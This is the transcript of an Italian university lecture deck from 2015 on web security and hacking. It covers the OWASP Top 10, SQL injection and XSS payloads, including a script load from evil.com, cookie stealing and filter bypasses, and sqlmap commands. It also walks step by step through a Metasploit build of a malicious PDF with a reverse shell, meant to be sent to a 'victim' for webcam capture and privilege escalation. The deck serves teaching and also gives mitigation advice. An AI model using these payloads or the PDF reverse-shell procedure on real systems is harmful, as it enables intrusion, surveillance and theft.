Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015

Sicurezza Informatica & Hacking

Relatore : Pawel Zorzan Urban@pawelzorzan

[email protected] – Università degli Studi di Teramo – 23/10/2015

CC BY-ND-NC

Hacker & Security Researcher

● Membro attivo dell'underground hacker nazionale da più di 15 anni

● Sicurezza Offensiva (blackhat)● Sicurezza Difensiva (whitehat)● Security Researcher ● Security Tutor ● CCNA & OWASP

Sicurezza Informatica

Non esiste una vera e propria definizione di “Sicurezza Informatica”. Possiamo comunque delinearla come la scienza che studia come proteggere le informazioni elaborate o trasferite elettronicamente da atti indesiderabili che possono avvenire accidentalmente, o essere frutto di azioni colpose o dolose.

(Cit. Avv. Pierluigi Perri 2003)


Non esiste un sistema sicuro al 100%

Il mito del sistema inattaccabile è analogo al mito della nave inaffondabile!

(finché la barca va lasciala andare!)


● Gnu/Linux e MacOS sono veramente sicuri ed immuni da virus e privi di vulnerabilità ?!

● Il livello di sicurezza di un sistema è dato dal tempo necessario per violare il sistema, dall'investimento necessario e dalla probabilità di successo (100% LOL).


● Un sistema più è complesso più è insicuro

● Le entità che compongono un sistema sono necessariamente tre:

● Hardware (Reverse Engeneering)● Software (Exploit, Analisi)● Humanware (Social Engeneering)

OWASP TOP 10

L’ Open Web Application Security Project (OWASP) è una comunità open di professionisti dell’IT security il cui scopo è quello di permettere alle organizzazioni di sviluppare, acquistare e mantenere applicazioni di cui possano fidarsi. All’interno di OWASP potrete trovare, in forma gratuita e libera:

● Strumenti e standard per la sicurezza applicativa● Libri completi su: come condurre test di sicurezza, come sviluppare codice sicuro e come

condurre una security code review● Librerie software e controlli di sicurezza standard● Capitoli locali in pressoché ogni nazione del Pianeta● Ricerca d’avanguardia● Conferenze approfondite organizzate in tutto il mondo● Mailing list● E molto altro… il tutto a disposizione su http://www.owasp.org

http://www.owasp.org/

OWASP TOP 10A1 - Injection

Le Injection Flaws, come SQL Injection, OS Injection, e LDAP injection, si verificano quando dati non validati vengono inviati come parte di un comando o di una query al loro interprete. Il dato infetto può quindi ingannare tale interprete, eseguendo comandi non previsti o accedendo a dati per i quali non si ha l’autorizzazione.

OWASP TOP 10A2 – Cross Site Scripting (XSS)

Le falle di tipo XSS si verificano quando un’applicazione web riceve dei dati provenienti da fonti non affidabili e li invia ad un browser senza una opportuna validazione e/o “escaping”. Il XSS permette agli attaccanti di eseguire degli script malevoli sui browser delle vittime; tali script possono dirottare la sessione dell’utente, fare un deface del sito web o redirezionare l’utente su un sito malevolo.

OWASP TOP 10A3 – Broken Authentication and

Session ManagmentLe procedure applicative relative alla autenticazione e alla gestione della sessione sono spesso implementate in modo non corretto, permettendo agli attaccanti di compromettere password, chiavi, token di sessione o sfruttare debolezze implementative per assumere l’identità di altri utenti.

OWASP TOP 10A4 – Insecure Direct Object

ReferenceUn riferimento diretto ad un oggetto si verifica quando uno sviluppatore espone un riferimento all’implementazione interna di un oggetto, come un file, una directory, o una chiave in un database. Senza un opportuno controllo degli accessi o altre protezioni, gli attaccanti possono manipolare questi riferimenti in modo da accedere a dati non autorizzati.

OWASP TOP 10A5 – Cross Site Request Forgery

CSRFUn attacco di tipologia CSRF forza il browser della vittima ad inviare una richiesta HTTP opportunamente forgiata includendo i cookie di sessione della vittima ed ogni altra informazione di autenticazione ad una applicazione web vulnerabile. Questo permette all’attaccante di forzare il browser della vittima a generare una richiesta che l’applicazione vulnerabile crede legittimamente inviata dall’utente.

OWASP TOP 10A6 – Security Misconfiguration

Una buona sicurezza richiede una opportuna configurazione di applicazioni, framework, server applicativi, server web, database e piattaforme. Tutte le configurazioni devono essere definite, implementate e manutenute, poiché non sempre le configurazioni di default sono sicure. Questo implica mantenere tutto il software aggiornato, includendo in esso anche tutte le librerie usate dall’applicazione.

OWASP TOP 10A7 – Insecure Cryptographic

StorageMolte applicazioni web non proteggono opportunamente i dati sensibili (come numeri di carte di credito, servizi sociali, credenziali per l’autenticazione) con cifratura e hashing appropriati. Degli attaccanti potrebbero quindi rubare o modificare tali dati (debolmente protetti) per furto di identità, frodi con carte di credito, o altri crimini informatici.

OWASP TOP 10A8 – Failure to restrict URL accessMolte applicazioni web controllano i diritti di accesso alle URL prima di visualizzare link o funzionalità protetti. Tali applicazioni però dovrebbero effettuare dei controlli di accesso ogni qualvolta le pagine vengano accedute, altrimenti gli attaccanti potrebbero alterare le URL in modo da accedere a pagine protette.

OWASP TOP 10A9 – Insufficient Transport Layer

ProtectionLe applicazioni web spesso falliscono nell’autenticare, cifrare, e proteggere la confidenzialità e l’integrità del traffico di rete sensibile. Quando questo accade talvolta è a causa dell’uso di algoritmi poco robusti, talaltra all’uso di certificati scaduti o invalidi o che non vengono utilizzati correttamente.

OWASP TOP 10A10 – Unvalidated Redirects and

ForwardsLe applicazioni web spesso eseguono dei redirect o dei forward degli utenti verso altre pagine o siti, e usano dei dati non validati per determinare le pagine di destinazione. Senza una opportuna validazione quindi, gli attaccanti possono fare un redirect delle vittime a siti di phishing o di malware, o utilizzare il forward per accedere a pagine non autorizzate.

OWASP TOP 10

Domande ?!

SQL Injection

● Breve Storia della SQL Injection● Come Attaccare ● F.A.Q., Q&A e Conclusioni

SQL Injection

Tecnicamente le prime SQL Injection hanno cominciato ad essere presenti sul web da quando i vari interpreti hanno permesso alle pagine Web di mostrare dati collegandosi ai database e quindi a mostrarne i dati.

PHP (1995)

ASP (1996)

SQL Injection

La prima e più famosa SQL Injection risale al 1998 da un articolo firmato Rain Forest Puppy su Phrack “NT Web Technology Vulnerabilities” che contiene diverse vulnerabilità che dipendono esclusivamente dalle tecnologie Web.

SELECT * FROM table WHERE x=1SELECT * FROM table WHERE y=5

SQL Injection

La risposta alla prima SQL Injection è stata :

“Secondo loro (il vendor) quello di cui stiamo per parlare non è un problema”

Cit. Rain Forest Putty – Phrack Issue #54

SQL Injection

La famosa raccomandazione di Rain Foret Puppy

“Non date per scontato che l'input dell'utente sia ok quando (lo inserite) in query SQL”

Cit. Rain Forest Puppy – Phrack Issue #54

SQL Injection

Secondo il Rapporto Melani gli attaccanti tendono a sfruttare vulnerabilità che sono presenti a causa di pratiche di sicurezza basilari ed inadeguate, l'SQLi è quindi generato da un errore in fase di sviluppo della Applicazione Web

SQL Injection

Cosa sono i Database relazionali ?

I database o basi di dati sono degli archivi organizzati tramite delle relazioni. I dati sono contenuti all'interno di alcune tabelle che hanno delle intestazioni (campi) in cui i dati sono organizzati in righe (o record)

La ricerca avviene tramite indici

SQL Injection - Cos'è SQL ?

● SQL (Structured Query Language) è un linguaggio strutturato per eseguire interrogazioni a un database relazionale;

● Possiamo avere una serie di query esempio per richiedere dei dati (SELECT), inserirli (INSERT), aggiornarli (UPDATE) e cancellarli (DELETE);

● Altri tipi di query servono per creare o cancellare database, utenti, tabelle o sono comandi come ad esempio spegnere il database oppure leggere file all'interno del filesystem.

SQL Injection – Logica booleana

● Le query di basano sulla logica booleana. ● Ripassiamo brevemente l'OR e l'AND:

SQL Injection

Perchè devo sapere tutte queste cose ??

Per eseguire delle SQL Injection è necessaria la conoscenza approfondita di SQL, dei database e più nello specifico del linguaggio supportato dal database utilizzato dall'applicazione che stiamo analizzando o attaccando in caso di utenti malevoli.

SQL Injection

● Authentication Bypass● E' un tipico attacco “old school”● Non è ovviamente sempre possibile, dipende

da come è scritta la query che verifica l'autenticazione dell'utente

● L'impatto è estremamente critico, è infatti possibile personificare gli utenti

SQL Injection – Come funziona ?

● Anzitutto è fondamentale capire la query che c'è dietro alla richiesta ● Tipicamente la pagina di login è qualcosa come:

– SELECT * FROM users WHERE user = 'pawel' AND pass = “pwd”;

● Che cerca una corrispondenza tra il nome utente e la password tramite GET/POST

● Se inseriamo quindi username come : – pawel'--

● La query sarà : – SELECT * FROM users WHERE user = 'pawel'--' AND pass = “pwd”;

● Quindi viene verificato solo se l'utente esiste o meno.


● Se però non conosciamo lo username, al netto di quelli tipici come “admin”, “administrator”, o se si utilizza un CMS basta andare a cercare la documentazione, come fare?

● E' Possibile usare ' OR 1=1 – o comunque generare una condizione logica che sia sempre vera.

● Cosa succede quindi? Il database seleziona tutto il contenuto della tabella users trovando sicuramente almeno una corrispondenza.

SQL Injection – Avvertenze

● Attenzione: quando fate le prove con OR 1=1, se ci sono molti record nella tabella è possibile che il server impieghi molto tempo a rispondere, oppure potrebbe andare in timeout, è consigliabile utilizzare una strategia di tipo AND 1=1 e AND 1=0 quindi condizioni logiche sempre vere o sempre false che però fanno tornare meno record.

● Nota : nell'esempio precedente abbiamo visto come probabilmente la password sia in chiaro, quando si cerca il bypass infatti è probabile trovare una SQL Injection nello username

● Perchè tutto questo probabile ? Ogni applicazione è diversa.

SQL Injection

● Quando si verificano le SQL injection ?● Le vulnerabilità di tipo Injection si verificano

quando dati non validati vengono inviati come parte di una richiesta verso un interprete, permettendo di eseguire richieste o comandi normalmente non previsti dall'applicazione.

● L'impatto di queste vulnerabilità è spesso alto e permette di compromettere il sistema o i dati.

SQL Injection – Consigli

● Fai Reverse Engineering della query ● Capisci il linguaggio dell'interprete :

– PHP, JSP, ASP, ecc...

● Comprendi la logica ● Sii Creativo/a

SQL Injection – passo dopo passo

● Verifica il tipo di dato che l'applicazione si aspetta (es. numero, stringa, data, uuid ecc...).

● Cerca di capire e “rompere” la query utilizzando caratteri tipici dei delimitatori (es. ','',”), numeri positivi e negativi, attenzione ai LIKE e alle date

● Identifica le differenze nelle risposte (es. dati caricati, errori o pagine bianche)

SQL Injection - Esempio

● Applicazione che visualizza notizie: – http://www.vittima.it/news.php?id=666

● Solitamente le query in questo caso sono: – SELECT * FROM news WHERE new_id = $param AND new_published = 1

● Un primo test può essere :– OR 1=1 –, ma attenzione ai DoS (Denial of Service)

– AND 1=1 – e AND 1=0 – valutando la differenza nelle risposte

● Dato che è un numero supponiamo non siano necessarie parentesi, ma dobbiamo considerare che se la query è complessa possiamo lasciare aperte delle parentesi.

● Come già anticipato dovete essere creativi per arrivare ad eseguire e capire correttamente la query.

http://www.vittima.it/news.php?id=666

SQL Injection Fingerprinting e Reverse Engineering

Una volta indentificata la presenza potenziale di una SQL Injection è necessario verificarla e quindi sfruttarla. E' di cruciale importanza capire almeno:

● Il tipo di dato che stiamo manipolando● Capire la tipologia di query ● A che punto ci troviamo nella query ● Il tipo di database

SQL Injection

● Capire il tipo di dato● Lo possiamo valutare nell'applicazione e

vedendo quali sono i dati che normalmente l'applicazione si aspetta, tipicamente : – Numeri

– Stringhe

– Date

– Identificativi

SQL Injection

● Capire il tipo di query● Anche in questo caso il contesto applicativo è

importante. ● Stiamo :

– Visualizzando dei dati ? ------------- SELECT

– Modificando/Aggiornando dati ? --- UPDATE

– Cancellando dati ? --------------- DELETE

Attenzione a query multiple eseguite dalla stessa pagina!!

SQL Injection

● Capire dove siamo nella query

Consideriamo sempre che possiamo essere in più punti della query, quindi la nostra manipolazione può avere effetti differenti.

● SELECT * FROM tabella WHERE campo = valore ORDER BY campo

SQL Injection

Passo non poco difficile è capire il tipo di database (es. Microsoft, Oracle, Postgre, DB2...) e la sua versione specifica, in questo alcune funzionalità sono previste solo per determinare versioni. Un piccolo cheatsheet :

● Concatenare le stringhe : – Oracle: '||'FOO

– MsSQL: '+'FOO

– MySQL: ' 'FOO

● Calcoli sui numeri : – ORACLE: BITAND(1,1)-BITAND(1,1)

– MS-SQL: @@PACK_RECIVED-@@PACK_RECIVED

– MySQL: CONNECTION_ID()-CONNECTION_ID()

● Commenti MySQL: – Se MySQL trova questo commento /*!32302 and 1=0*/ lo eseguirà solo se la sua versione è

maggiore o uguale alla 3.32.02

SQL Injection – Exploiting

● Una volta ottenute le informazioni sulla query e sul database possiamo procedere con lo sfruttamento. E' possibile utilizzare differenti tecniche secondo il contesto.

● In alcuni casi l'errore SQL è visibile, il che semplifica molto il lavoro.

● In altri casi dobbiamo capire l'esito delle nostre richieste (query) e capire quando l'applicazione : – Esegue il nostro codice, inserendo delle condizioni di vero o

falso (seleziona solo alcuni dati)

– La query non è corretta (es. WSOD)

SQL Injection

● Errori tipici – ORA-01756: quoted string not properly terminated

– You have an error in you SQL syntax; check the manual that correponds to your MariaDB server version for right syntax to user near “'

– Error: You have an error in your syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “' at line 666

– Unclosed quotation mark after the character string “.

SQL Injection – Tecnica UNION

● La UNION è una delle tecniche più comuni per l'estrazione di dati. ● L'operatore UNION è utilizzato per combinare i risultati di più

query: la prima è quella inclusa dall'applicazione, la seconda è quella da cui vogliamo estrarre i dati.

● Quando facciamo una UNION dobbiamo considerare che : – Le due query devono avere lo stesso numero di colonne (Es. ORA-

01798: query block has incorrect number of result columms)

– Le colonne nella stessa posizione devono essere dello stesso tipo o uno compatibile (Es. ORA-01790: expression must have same datatype ad corresponding expression). NULL è spesso nostro amico

– Dobbiamo conoscere almeno il nome di una tabella (ecco anche perché facciamo il fingerprinting)

SQL Injection – Come fare ?

● Trovare il nome di una tabella che esiste e cui hai accesso (es. DUAL in Oracle o anche nulla in MS-SQL)

● Capire il numero di colonne– ' UNION SELECT NULL – (meno meno!!)

– ' UNION SELECT NULL,NULL –

– ' UNION SELECT NULL, NULL –

● Trovare almeno un tipo di dato come stringa– ' UNION SELECT 'a', NULL, NULL –

● Estrarre le informazioni – UNION SELECT banner, NULL, NULL from $version

SQL Injection - Tools

● Esistono numerosi strumenti automatici tramite i quali è possibile identificare e sfruttare le SQL Injection.

● E' bene comunque imparare a sfruttarle a mano!!!!!!!!● Non sempre gli strumenti automatici sono di aiuto

– In quel caso è possibile modificare lo strumento se è open source.

– Oppure farsi una propria serie di script nel proprio linguaggio preferito per sfruttare la vulnerabilità.

SQL Injection – Sqlmap

● Sqlmap è dei più potenti strumenti per rilevare le SQL Injection. Consideriamo il nostro target testasp.

● Scaricare: http://sqlmap.org/● Lanciare

– Python sqlmap.py -u “http://testasp.vulnweb.com/showthread.asp?id=1" --users

– Python sqlmap.py -u “http://testasp.vulnweb.com/showthread.asp?id=1" --passwords

– Python sqlmap.py -u “http://testasp.vulnweb.com/showthread.asp?id=1 " --dbs

– Python sqlmap.py -u “ http://testasp.vulnweb.com/showthread.asp?id=1" --dump-all

http://sqlmap.org/

http://testasp.vulnweb.com/showthread.asp?id=1

SQL Injection – Mitigazione

● E' possibile mitigare questa vulnerabilità utilizzando API parametriche per interfacciarsi agli interpreti oppure regole di validazione a whitelist per verificare il dato. Inoltre, prima della validazione, bisogna eseguire una normalizzazione (canonicalization) e codificare correttamente il dato (encoding), quindi applicare le regole specifiche dell'interprete per gestire i caratteri speciali (escaping), come ad esempio : – Caratteri per la delimitazione di stringhe (es. ' “)

– Caratteri o sequenze interpretate (es. % – # / * )

– Operatori o funzioni (es. AND OR NOT SLEEP || CHR +)

SQL Injection – F.A.Q.

SQL Injection – Domande ?

XSS – Cos'è

Le vulnerabilità di tipo XSS si verificano quando dati non validati vengono restituiti nel corpo della risposta HTTP e vengono interpretati dal browser. E’ così possibile eseguire codice lato client all’interno del browser degli utenti.

L’impatto di business è spesso medio/alto*. E’ possibile compromettere la sessione degli utenti eseguire attacchi di phishing particolarmente sofisticati e, nei casi peggiori, eseguire un defacement o comunque prendere il controllo del browser della vittima.

XSS – Nel Pratico

XSS – Nel codice

<?phpecho $_GET['title'];?>

XSS – Quando Nasce?!

XSS – Il problema originale

I server possono generare pagine dinamiche che non hanno il controllo dell’output che viene interpretato dal Client.

Il cuore della questione è che se del contenuto non fidato può essere introdotto in una pagina dinamica non si hanno informazioni per riconoscerlo e prendere azioni proattive.

Tutti i server che generano pagine dinamiche dovrebbero verificare che non ci siano caratteri speciali relativi al codice HTML che potrebbero essere eseguiti dal browser.

Fonte: http://web.archive.org/web/20070626182758/http://ha.ckers.org/cross-site-scripting.html

XSS - Il problema al tempo

Un grande numero di web server che genera pagine dinamiche non verifica la presenza di caratteri speciali o non lo fa correttamente ed è possibile eseguire codice nel contesto di sicurezza del browser rispetto il web server vulnerabile.

«Dipende tutto da dove prendiamo i nostri input, da come li elaboriamo e da come li trasformiamo nei nostri output»

Il nocciolo delle vulnerabilità relative all’Improper Input Validation

Il nocciolo delle vulnerabilità relative all’Improper Input Validation (per dirlo con un immagine)

XSS All'interno dell'URI QueryString

● Request

GET

/cerca.php?q=<script>alert(1)</script>

HTTP/1.1● Esempio

<?php

echo ‘Hai cercato:’ - $_GET[‘q’];

?>

XSS All'interno dell'URI Path

● Request

GET

/iscriviti.php/’><script>alert(1)</script><form action=‘ HTTP/1.1

● Esempio

<?php

echo ‘<form action=’.$_SERVER['PHP_SELF'].’>’;

?>

XSS - All’interno degli Header User Agent

● Request

GET /index.php HTTP/1.1

User-Agent:

<script>alert(1)</script>

● Esempio

• Sistemi di statistiche

• Se stampo a schermo il browser dell’utente

• Log dell’applicazione o del webserver

• …

XSS - All’interno degli Header Cookie

● Request

GET /login.php HTTP/1.1

Cookie:

Ut<script>alert(1)</script>ente

● Esempio

• Quando stampo o manipolo i cookie sia lato server che lato

client

• Sistemi di autenticazione

• …

XSS - All’interno del body (POST)

● Request

POST/iscriviti.php

HTTP/1.1

[…]

nome=<script>alert(1)</s>

● Esempio

<?php

echo ‘Controlla i dati, il tuo nome:’ -$_POST[‘nome’];

?>

XSS - All’interno del body (POST multipart)

● Request

POST/upload.php

HTTP/1.1

[…]

Content-Disposition:

form-data;

name=“<xss>";

filename=“<xss>"

● Esempio

• Caricamento file

• Invio di e-mail

XSS

«Quando riceviamo in Input, pensiamo a dove lo andiamo a

scrivere»

XSS

Dove possiamo andare a scrivere il nostro

Input?● Email (Oggetto, Destinatario, Corpo)● Database● LOG ● File System● API o RSS Feed● Altri elementi interpretati dal browser

XSS - Tipologie

● Tipo 1: Reflected XSS (non persistenti)

– Si hanno quando i parametri vulnerabili sono riflessi direttamente nella pagina

– Particolarmente utili per phishing o link malevoli

– Si gestiscono tramite dei controlli lato server

XSS - Tipologie

● Tipo 2: XSS Stored (persistenti)

– Si hanno quando i parametri vulnerabili sono salvati in qualche locazione e quindi riflessi (p.e. da un altro utente)

– Particolarmente utili per il furto di sessione, defacement o anti-forensics

– Si gestiscono tramite controlli lato server

XSS - Tipologie

● Tipo 3: DOM Based

– Si hanno quando alcuni elementi del DOM vengono elaborati e stampati senza un preventivo controllo

– Particolarmente utili in quanto lato client, esisteva anche una DOM XSS «universale» tramite Adobe Reader.

– Si gestiscono tramite controlli lato client

XSS – Esempio DOM Based

http://www.example.com/index.html#<script>alert( 1)</script>

<script>

document.write("<b>Il tuo URL è<b> : " +

document.baseURI);

</script>

http://www.example.com/index.html

Cosa dobbiamo controllare per le DOM XSS?

● Da un lato (Input/Sources) quegli elementi DOM potenzialmente accessibili all’utente p.e.:

• document.URL

• document.documentURI

• location.href

• location.search

• location.*

• window.name

• document.referrer

● Dall’altro lato (Output/Sink) quando ho dei punti dove eseguo quell’Input p.e.:

• document.write

• (element).innerHTML

• (element).src (in certain

elements)

• eval

• setTimout / setInterval

• execScript

Tornando sulle XSS Stored e le Reflected

● Dobbiamo fare attenzione a dove viene stampato quanto ricevuto in input.● • Corpo HTML / Attributi di elementi HTML● • Cookie● • All’interno di un HREF / All’interno di un IFRAME● • Codice CSS (anche @style)● • Codice Javascript / Codice JSON● • Dentro un CDATA● • Codice XML● • Cookie● • Dialetti (p.e. BBcode)

Probing di un XSS stored o reflected

● Il concetto fondamentale è, una volta che inviamo un input, dove viene riflesso o comunque scritto, anche dopo che è stato memorizzato?

● Il mio input viene riflesso o scritto così come l’ho inserito oppure viene modificato in qualche modo?

• BONUS: se viene scartato il pacchetto?

• BONUS: se tutto l’input viene cancellato?

• BONUS: se l’input qualche volta viene modificato e qualche volta no, quasi casualmente?

XSS

'';\\!--"<Scs>=&{()}//,

Un probe per ghermirli e nel buio incatenarli, con alcune funzionalità particolari e alcune note sull’utilizzo

Probing di un XSS stored o reflected

● Quali sono i caratteri che vengono modificati e come vengono modificati?

• Tutti vengono codificati

• Solo alcuni vengono codificati

• Vengono codificati diversamente secondo dove sono riflessi o scritti

• Una o più parti del vettore sono cancellate o sostituite con altri caratteri● Le modifiche eseguite rendono possibile la «rottura» della sintassi?● Posso tentare delle tecniche per eseguire il bypass delle funzionalità di

verifica?● Eventualmente mi posso «accontentare» di un HTML Injection anche se

non posso inserire codice Javascript?

XSS Alcuni Bypass Tecnici

● Usare un vettore cambiando il case dei caratteri● Se la funziona fa uppercase usare un vettore che funziona anche se

tutto maiuscolo● Cambiare la codifica (p.e. http://hackvector.co.uk)● Se è un filtro a blacklist, provare gli elementi/attributi di HTML5● Se è un filtro a blacklist che cerca di identificare i tag o gli attributi

per capire cosa filtrare e cosa no, provare ad inserire dei caratteri come \r \0 che possono essere ignorati dal browser

● Inserire del codice HTML che, anche se non formalmente corretto, sia comunque interpretato correttamente dal browser

● Ricordare che esistono i `grave accents ` ` ` `

XSS - Esempi di alcuni bypass tipici

<sCrIPt>alert(1)</ScrIpT>

<SCRIPT SRC=http://evil.com/x.js></SCRIPT>

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADwSCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

XSS - Esempi di alcuni bypass tipici

¼script¾alert(¢XSS¢)¼/script¾

<a b=c>

<[CDATA[<script>alert(1)</script>]>

Sfruttare un XSS

● Una volta che abbiamo notato che il nostro input viene riflesso in qualche modo potenzialmente utile, è importante riuscire ad eseguire del codice.

● Una semplice PoC è la comparsa di un alert/messaggio sulla pagina

● In alcuni casi può essere utile far vedere che è possibile accedere alla

● sessione utente tipicamente mantenuta nel cookie (N.B. richiede che non sia abilitato l’HTTPOnly nel cookie)

Vettori XSS

<script>alert("XSS")</script>

<script>alert(/XSS/)</script>

<script>alert(document.domain)</script>

<img src=x onerror=alert(1)>

Quando serve un vettore più corto possibile

● Ricordarsi che «il browser è più intelligente di noi»

● Gli spazi contano● Non sempre servono le

virgolette● http:// può essere //● Utilizzare più punti di inserzione● Sftuttare il Javascript già

esistente● Url shortener

Vettori particolarmente corti

<svg/onload=alert(1)>

<script src=//v.ht/aa />

<script src=e.js />

XSS on the wild – Cookie Stealing

● • Possiamo

- Recuperare la sessione dell’utente

- Utilizzare il cookie per accederealla sua sessione

● Nota bene

- NON deve essere abilitato HTTPOnly nel cookie di sessione

- Potrebbero essere presenti filtri su IP/User-Agent per abilitarci la sessione

XSS on the wild – BrowsEr Exploitation Framework

● BeEF può essere inserito nel browser tramite un XSS, sfruttando la fiducia dell’utente sul dominio

● Dobbiamo far mantenere il browser aperto

●

● http://beefproject.com/

XSS on the wild

● Phishing

● Cross Site Request Forgery

● HTML Injection (persisten!! molto male!!)

XSS – Come difendersi

● Impostare una codifica coerente per tutto il livello applicativo● Forzare tutti gli input e gli output per le codifiche preimpostate● Verificare e tipizzare il dato secondo quanto ci si aspetta● Codificare secondo il contesto l’input prima che diventi output● In caso di necessità di includere codice HTML fornito come input

- Applicare una funzionalità di whitelist

- Utilizzare un dialetto e un parser sicuro (p.e. attenzione a Markdown)

- Attenzione ai tag/attributi malformati, normalizzare prima i dati● Applicare le funzionalità accessorie dei browser● L’utilizzo di blacklist è sconsigliato.

Esempio di come difendersi

<?php // html 4.01 with utf-8

header('Content-type: text/html; charset: utf-8');

header('X-Content-Type-Options: nosniff');

header('X-XSS-Protection: 1; mode=block');

header('Content-Security-Policy: reflected-xss block');

header('X-Content-Security-Policy: reflected-xss block');

header('X-WebKit-CSP: reflected-xss block');

$title = mb_convert_encoding($_GET['title'], 'UTF-8');

echo htmlspecialchars($title,ENT_QUOTES |ENT_HTML401,'UTF-8');

}

?>

Esempio di bypass di una nota funzione in PHP

● Utilizzo di htmlspecialchars

<input type=text name=param value=<?php echo htmlspecialchars($_GET[ 'param']); ?>>

● xss

xss_03.php?param=x onchange=alert(1)

Su alcuni siti web sono pubblicate delle classifiche o degli attacchi a

siti web noti

● http://www.xssed.com/● https://www.xssposed.org/● https://www.punkspider.org/

XSS – Strumenti / Tools

● Gli strumenti possono essere utili per trovare velocemente le XSS, ma non tutti sono efficaci

● E’ importante capire come funzionano e come farli funzionare

● Alcuni strumenti● - Burp Pro● - OWASP ZAP● - Xsser● - XSSme (Firefox plugin)

XSS end!

«Never trust the user input, output too»

Motto per la parameter manipulation

XSS – Domande ?

PDF – Reverse Shell

● Adobe Reader come altri migliaia di software hanno vulnerabilità

● Hackers e Governi sfruttano queste falle● Analizziamo il metodo più semplice per

generare file malevoli● Gli antivirus non si accorgono di niente (se

creati nel modo corretto)

PDF

● Metasploit è il framework ad oggi più potente e comodo per effettuare svariate tipologie di attacchi

● Per prima cosa è necessario un server o pc con indirizzo IP pubblico e porte aperte

● Attacchiamo!!!! :-D

PDF

● Per prima cosa è necessario eseguire metasploit sul vostro sistema

● Eseguire prima di tutto il comando msfupdate per aggiornare eventuali nuove vulnerabilità pubbliche e note

● Lanciare il framework con il comando

msfconsole

PDF

● Cercare all'interno del framework gli exploit per windows relativi ad adobe

msf > search type:exploit platform:windows adobe pdf

PDF

● L'exploit che ci interessa è :

"exploit/windows/fileformat/adobe_pdf_embedded_exe"

● Richiamare tramite il comando :

msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

● Vediamo le informazioni relative a questo exploit :msf > exploit (adobe_pdf_embedded_exe) > info

PDF

● Inserire il Payload che ci interessa all'interno dell file PDF

● Nel nostro caso richiamiamo una reverse_shell● La reverse_shell ci permetterà di accedere

direttamente al computer della vittima senza che se ne accorga

● Lanciare il comando :

msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp

PDF

Analizzare le opzioni disponibili relative alla revese Shell con il comando :

msf > exploit (adobe_pdf_embedded_exe) > show options

PDF

● A questo punto è necessario impostare i seguenti parametri :

- INFILENAME (Richiesto e Obbligatorio)

- FILENAME

- LHOST● Eseguire quindi :

- msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME chapter1.pdf

- msf > exploit (adobe_pdf_embedded_exe) > set FILENAME chapter1.pdf

- msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.100.1● Verificare che tutti i parametri siano corretti :

msf > exploit (adobe_pdf_embedded_exe) > show options

PDF Exploit!

● Creare il file :

msf > exploit (adobe_pdf_embedded_exe) > exploit● Il file generato se creato dall'utente root si troverà

nel percorso /root/.msf4/local/chapter1.pdf● Inviare il file appena creato via mail, cloud ecc... o

su chiavetta alla vittima ● Attendere l'apertura della Sessione sul vostro

Server!

PDF

● E' ora possibile eseguire liberamente comandi sulla computer della “vittima”● Ecco i principali comandi utili :

sessions X– collegarsi all'istanza X

info – ottenere informazioni varie sul sistema

search – ricercare file nel sistema

webcam_snap – scattare una foto dalla webcam

getsystem – ottenere i privilegi di amministrazione del sistema

getuid – verificare i propri permessi● Sono disponibili centinaia di comandi che potete trovare liberamente sul sito

dei produttori di Metasploit all'indirizzo :

http://www.metasploit.com/

http://www.metasploit.com/

PDF – Domande ?

Tools

Principali tool di attacco opensource (reperibili liberamente online(google vi aiuta sempre) utilizzati da Hackers, Security Researcher, Penetration Testers e persone cattive

● Google● Bing● Dirb● Dirbuster● Fimap● The Harvester● Nessus● Vega● Nikto● Acunetix

● HackBar● TamperData● Live HTTP Headers● Burp Suite● Htcap ● bettercap● nmap● metasploit● armitage● Sqlmap

● CMSmap● JomScan● WPscan● AirCrack-ng● Reaver● telnet● Veil● John The Ripper● Hydra● hashcat

Tools – Domande ?

GRAZIE

Pawel Zorzan Urban@pawelzorzan

[email protected]

Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015

Internet

Transcript of Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015